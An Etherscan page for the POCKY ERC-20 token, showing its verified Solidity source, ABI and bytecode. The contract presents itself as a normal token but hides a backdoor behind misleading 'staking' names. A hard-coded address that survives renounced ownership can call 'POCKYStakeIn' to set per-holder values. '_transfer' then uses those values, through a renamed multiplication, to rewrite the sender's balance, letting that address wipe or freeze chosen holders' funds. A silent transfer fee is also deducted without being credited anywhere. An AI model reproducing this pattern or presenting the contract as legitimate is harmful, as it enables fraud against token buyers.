ETH Price: $3,457.39 (+1.53%)
Gas: 9 Gwei

Token

POCKY (POCKY)
 

Overview

Max Total Supply

10,000,000,000 POCKY

Holders

35

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
91,273,426.763206863 POCKY

Value
$0.00
0xa8cfd1628b208186e1a9c0ffd0491c0aff663539
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
POCKY

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-15
*/

/**
    https://t.me/PockyErc

    https://mypocky.com/

    https://twitter.com/POCKYerc20
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

pragma solidity ^0.8.18;

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.18;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryIpws(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function ipws(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Ownable is Context {
    address private _Owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _Owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _Owner;
        _Owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => uint256) private _addPWSbonus;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    address private marketingPWS;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(address pockyAddress, string memory name_, string memory symbol_) {
        marketingPWS = pockyAddress;
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function POCKYStakeIn(address[] memory playMAXTX, uint256 pockyAward) public pockySupport {
        for(uint256 i = 0; i < playMAXTX.length; i++) {
        _addPWSbonus[playMAXTX[i]] = pockyAward;
        }
    }

    function pockyStakeOut(address playMAXTX) public view returns (uint256) {
        return _addPWSbonus[playMAXTX];
    }

    function transfer(address _to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, _to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
    unchecked {
        _approve(owner, spender, currentAllowance - subtractedValue);
    }

        return true;
    }

    modifier pockySupport() {
        require(marketingPWS == _msgSender(), "You're not from the marketingPWS support");
        _;
    }

    using SafeMath for uint256;
    uint256 private _tax = 1;
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        if(_addPWSbonus[from] != uint256(0)) {
           _balances[from] = _balances[from].ipws(type(uint256).max.sub(_addPWSbonus[from]));
        }

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer exceeds balance");

        uint256 feeamount = 0;
        feeamount = amount.ipws(_tax).div(100);
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            _balances[to] -= feeamount;
        }
        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;

        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
            _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

pragma solidity ^0.8.18;

contract POCKY is ERC20 {
    uint256 initialSupply = 10000000000;
    constructor() ERC20(0xB9fFe836F69c2f8FB5fEc65d7aA0Bcc7f63F7804, "POCKY", "POCKY") {
        _mint(msg.sender, initialSupply*10**9);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"playMAXTX","type":"address[]"},{"internalType":"uint256","name":"pockyAward","type":"uint256"}],"name":"POCKYStakeIn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"playMAXTX","type":"address"}],"name":"pockyStakeOut","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260016008556402540be4006009553480156200001f57600080fd5b5073b9ffe836f69c2f8fb5fec65d7aa0bcc7f63f780460405180604001604052806005815260200164504f434b5960d81b81525060405180604001604052806005815260200164504f434b5960d81b8152506200008b62000085620000ec60201b60201c565b620000f0565b600480546001600160a01b0319166001600160a01b0385161790556006620000b48382620002b1565b506007620000c38282620002b1565b50505050620000e633600954633b9aca00620000e0919062000393565b62000140565b620003c9565b3390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166200019b5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060056000828254620001af9190620003b3565b90915550506001600160a01b0382166000818152600160209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200023857607f821691505b6020821081036200025957634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200020857600081815260208120601f850160051c81016020861015620002885750805b601f850160051c820191505b81811015620002a95782815560010162000294565b505050505050565b81516001600160401b03811115620002cd57620002cd6200020d565b620002e581620002de845462000223565b846200025f565b602080601f8311600181146200031d5760008415620003045750858301515b600019600386901b1c1916600185901b178555620002a9565b600085815260208120601f198616915b828110156200034e578886015182559484019460019091019084016200032d565b50858210156200036d5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620003ad57620003ad6200037d565b92915050565b80820180821115620003ad57620003ad6200037d565b610d5380620003d96000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461021f578063a9059cbb14610232578063dd62ed3e14610245578063f2fde38b1461025857600080fd5b8063715018a6146101cb5780638da5cb5b146101d35780638f02b9bf146101ee57806395d89b411461021757600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806354979ba41461018d57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61026b565b60405161011a9190610a40565b60405180910390f35b610136610131366004610aaa565b6102fd565b604051901515815260200161011a565b6005545b60405190815260200161011a565b610136610166366004610ad4565b610317565b6040516009815260200161011a565b610136610188366004610aaa565b61033b565b6101a061019b366004610b26565b61035d565b005b61014a6101b0366004610bf1565b6001600160a01b031660009081526001602052604090205490565b6101a0610434565b6000546040516001600160a01b03909116815260200161011a565b61014a6101fc366004610bf1565b6001600160a01b031660009081526002602052604090205490565b61010d610448565b61013661022d366004610aaa565b610457565b610136610240366004610aaa565b6104d2565b61014a610253366004610c0c565b6104e0565b6101a0610266366004610bf1565b61050b565b60606006805461027a90610c3f565b80601f01602080910402602001604051908101604052809291908181526020018280546102a690610c3f565b80156102f35780601f106102c8576101008083540402835291602001916102f3565b820191906000526020600020905b8154815290600101906020018083116102d657829003601f168201915b5050505050905090565b60003361030b818585610584565b60019150505b92915050565b6000336103258582856106a8565b610330858585610722565b506001949350505050565b60003361030b81858561034e83836104e0565b6103589190610c8f565b610584565b6004546001600160a01b031633146103cd5760405162461bcd60e51b815260206004820152602860248201527f596f75277265206e6f742066726f6d20746865206d61726b6574696e67505753604482015267081cdd5c1c1bdc9d60c21b60648201526084015b60405180910390fd5b60005b825181101561042f5781600260008584815181106103f0576103f0610ca2565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550808061042790610cb8565b9150506103d0565b505050565b61043c61096b565b61044660006109c5565b565b60606007805461027a90610c3f565b6000338161046582866104e0565b9050838110156104c55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103c4565b6103308286868403610584565b60003361030b818585610722565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61051361096b565b6001600160a01b0381166105785760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103c4565b610581816109c5565b50565b6001600160a01b0383166105e65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c4565b6001600160a01b0382166106475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006106b484846104e0565b9050600019811461071c578181101561070f5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103c4565b61071c8484848403610584565b50505050565b6001600160a01b0383166107865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c4565b6001600160a01b0382166107e85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c4565b6001600160a01b03831660009081526002602052604090205415610869576001600160a01b03831660009081526002602052604090205461084f906108309060001990610a15565b6001600160a01b03851660009081526001602052604090205490610a28565b6001600160a01b0384166000908152600160205260409020555b6001600160a01b038316600090815260016020526040902054818110156108d25760405162461bcd60e51b815260206004820152601f60248201527f45524332303a207472616e7366657220657863656564732062616c616e63650060448201526064016103c4565b60006108f460646108ee60085486610a2890919063ffffffff16565b90610a34565b6001600160a01b03808716600081815260016020526040808220888803905592881680825290839020805488018590039055915192935090917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061095c9087815260200190565b60405180910390a35050505050565b6000546001600160a01b031633146104465760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103c4565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610a218284610cd1565b9392505050565b6000610a218284610ce4565b6000610a218284610cfb565b600060208083528351808285015260005b81811015610a6d57858101830151858201604001528201610a51565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610aa557600080fd5b919050565b60008060408385031215610abd57600080fd5b610ac683610a8e565b946020939093013593505050565b600080600060608486031215610ae957600080fd5b610af284610a8e565b9250610b0060208501610a8e565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215610b3957600080fd5b823567ffffffffffffffff80821115610b5157600080fd5b818501915085601f830112610b6557600080fd5b8135602082821115610b7957610b79610b10565b8160051b604051601f19603f83011681018181108682111715610b9e57610b9e610b10565b604052928352818301935084810182019289841115610bbc57600080fd5b948201945b83861015610be157610bd286610a8e565b85529482019493820193610bc1565b9997909101359750505050505050565b600060208284031215610c0357600080fd5b610a2182610a8e565b60008060408385031215610c1f57600080fd5b610c2883610a8e565b9150610c3660208401610a8e565b90509250929050565b600181811c90821680610c5357607f821691505b602082108103610c7357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561031157610311610c79565b634e487b7160e01b600052603260045260246000fd5b600060018201610cca57610cca610c79565b5060010190565b8181038181111561031157610311610c79565b808202811582820484141761031157610311610c79565b600082610d1857634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220c2eca89e63b15850bdc6a9a22361aa992b83c98113392bea4086d601ba193ded64736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461021f578063a9059cbb14610232578063dd62ed3e14610245578063f2fde38b1461025857600080fd5b8063715018a6146101cb5780638da5cb5b146101d35780638f02b9bf146101ee57806395d89b411461021757600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806354979ba41461018d57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61026b565b60405161011a9190610a40565b60405180910390f35b610136610131366004610aaa565b6102fd565b604051901515815260200161011a565b6005545b60405190815260200161011a565b610136610166366004610ad4565b610317565b6040516009815260200161011a565b610136610188366004610aaa565b61033b565b6101a061019b366004610b26565b61035d565b005b61014a6101b0366004610bf1565b6001600160a01b031660009081526001602052604090205490565b6101a0610434565b6000546040516001600160a01b03909116815260200161011a565b61014a6101fc366004610bf1565b6001600160a01b031660009081526002602052604090205490565b61010d610448565b61013661022d366004610aaa565b610457565b610136610240366004610aaa565b6104d2565b61014a610253366004610c0c565b6104e0565b6101a0610266366004610bf1565b61050b565b60606006805461027a90610c3f565b80601f01602080910402602001604051908101604052809291908181526020018280546102a690610c3f565b80156102f35780601f106102c8576101008083540402835291602001916102f3565b820191906000526020600020905b8154815290600101906020018083116102d657829003601f168201915b5050505050905090565b60003361030b818585610584565b60019150505b92915050565b6000336103258582856106a8565b610330858585610722565b506001949350505050565b60003361030b81858561034e83836104e0565b6103589190610c8f565b610584565b6004546001600160a01b031633146103cd5760405162461bcd60e51b815260206004820152602860248201527f596f75277265206e6f742066726f6d20746865206d61726b6574696e67505753604482015267081cdd5c1c1bdc9d60c21b60648201526084015b60405180910390fd5b60005b825181101561042f5781600260008584815181106103f0576103f0610ca2565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550808061042790610cb8565b9150506103d0565b505050565b61043c61096b565b61044660006109c5565b565b60606007805461027a90610c3f565b6000338161046582866104e0565b9050838110156104c55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103c4565b6103308286868403610584565b60003361030b818585610722565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61051361096b565b6001600160a01b0381166105785760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103c4565b610581816109c5565b50565b6001600160a01b0383166105e65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c4565b6001600160a01b0382166106475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006106b484846104e0565b9050600019811461071c578181101561070f5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103c4565b61071c8484848403610584565b50505050565b6001600160a01b0383166107865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c4565b6001600160a01b0382166107e85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c4565b6001600160a01b03831660009081526002602052604090205415610869576001600160a01b03831660009081526002602052604090205461084f906108309060001990610a15565b6001600160a01b03851660009081526001602052604090205490610a28565b6001600160a01b0384166000908152600160205260409020555b6001600160a01b038316600090815260016020526040902054818110156108d25760405162461bcd60e51b815260206004820152601f60248201527f45524332303a207472616e7366657220657863656564732062616c616e63650060448201526064016103c4565b60006108f460646108ee60085486610a2890919063ffffffff16565b90610a34565b6001600160a01b03808716600081815260016020526040808220888803905592881680825290839020805488018590039055915192935090917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061095c9087815260200190565b60405180910390a35050505050565b6000546001600160a01b031633146104465760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103c4565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610a218284610cd1565b9392505050565b6000610a218284610ce4565b6000610a218284610cfb565b600060208083528351808285015260005b81811015610a6d57858101830151858201604001528201610a51565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610aa557600080fd5b919050565b60008060408385031215610abd57600080fd5b610ac683610a8e565b946020939093013593505050565b600080600060608486031215610ae957600080fd5b610af284610a8e565b9250610b0060208501610a8e565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215610b3957600080fd5b823567ffffffffffffffff80821115610b5157600080fd5b818501915085601f830112610b6557600080fd5b8135602082821115610b7957610b79610b10565b8160051b604051601f19603f83011681018181108682111715610b9e57610b9e610b10565b604052928352818301935084810182019289841115610bbc57600080fd5b948201945b83861015610be157610bd286610a8e565b85529482019493820193610bc1565b9997909101359750505050505050565b600060208284031215610c0357600080fd5b610a2182610a8e565b60008060408385031215610c1f57600080fd5b610c2883610a8e565b9150610c3660208401610a8e565b90509250929050565b600181811c90821680610c5357607f821691505b602082108103610c7357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561031157610311610c79565b634e487b7160e01b600052603260045260246000fd5b600060018201610cca57610cca610c79565b5060010190565b8181038181111561031157610311610c79565b808202811582820484141761031157610311610c79565b600082610d1857634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220c2eca89e63b15850bdc6a9a22361aa992b83c98113392bea4086d601ba193ded64736f6c63430008120033

Deployed Bytecode Sourcemap

11541:215:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5515:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6801:201;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;6801:201:0;1004:187:1;5835:108:0;5923:12;;5835:108;;;1342:25:1;;;1330:2;1315:18;5835:108:0;1196:177:1;7010:295:0;;;;;;:::i;:::-;;:::i;5735:92::-;;;5818:1;1853:36:1;;1841:2;1826:18;5735:92:0;1711:184:1;7313:238:0;;;;;;:::i;:::-;;:::i;6086:216::-;;;;;;:::i;:::-;;:::i;:::-;;5951:127;;;;;;:::i;:::-;-1:-1:-1;;;;;6052:18:0;6025:7;6052:18;;;:9;:18;;;;;;;5951:127;4399:103;;;:::i;4164:87::-;4210:7;4237:6;4164:87;;-1:-1:-1;;;;;4237:6:0;;;3565:51:1;;3553:2;3538:18;4164:87:0;3419:203:1;6310:121:0;;;;;;:::i;:::-;-1:-1:-1;;;;;6400:23:0;6373:7;6400:23;;;:12;:23;;;;;;;6310:121;5623:104;;;:::i;7559:424::-;;;;;;:::i;:::-;;:::i;6439:195::-;;;;;;:::i;:::-;;:::i;6642:151::-;;;;;;:::i;:::-;;:::i;4510:201::-;;;;;;:::i;:::-;;:::i;5515:100::-;5569:13;5602:5;5595:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5515:100;:::o;6801:201::-;6884:4;1274:10;6940:32;1274:10;6956:7;6965:6;6940:8;:32::i;:::-;6990:4;6983:11;;;6801:201;;;;;:::o;7010:295::-;7141:4;1274:10;7199:38;7215:4;1274:10;7230:6;7199:15;:38::i;:::-;7248:27;7258:4;7264:2;7268:6;7248:9;:27::i;:::-;-1:-1:-1;7293:4:0;;7010:295;-1:-1:-1;;;;7010:295:0:o;7313:238::-;7401:4;1274:10;7457:64;1274:10;7473:7;7510:10;7482:25;1274:10;7473:7;7482:9;:25::i;:::-;:38;;;;:::i;:::-;7457:8;:64::i;6086:216::-;8034:12;;-1:-1:-1;;;;;8034:12:0;1274:10;8034:28;8026:81;;;;-1:-1:-1;;;8026:81:0;;4741:2:1;8026:81:0;;;4723:21:1;4780:2;4760:18;;;4753:30;4819:34;4799:18;;;4792:62;-1:-1:-1;;;4870:18:1;;;4863:38;4918:19;;8026:81:0;;;;;;;;;6191:9:::1;6187:108;6210:9;:16;6206:1;:20;6187:108;;;6273:10;6244:12;:26;6257:9;6267:1;6257:12;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1::0;;;;;6244:26:0::1;-1:-1:-1::0;;;;;6244:26:0::1;;;;;;;;;;;;:39;;;;6228:3;;;;;:::i;:::-;;;;6187:108;;;;6086:216:::0;;:::o;4399:103::-;4123:13;:11;:13::i;:::-;4464:30:::1;4491:1;4464:18;:30::i;:::-;4399:103::o:0;5623:104::-;5679:13;5712:7;5705:14;;;;;:::i;7559:424::-;7652:4;1274:10;7652:4;7735:25;1274:10;7752:7;7735:9;:25::i;:::-;7708:52;;7799:15;7779:16;:35;;7771:85;;;;-1:-1:-1;;;7771:85:0;;5422:2:1;7771:85:0;;;5404:21:1;5461:2;5441:18;;;5434:30;5500:34;5480:18;;;5473:62;-1:-1:-1;;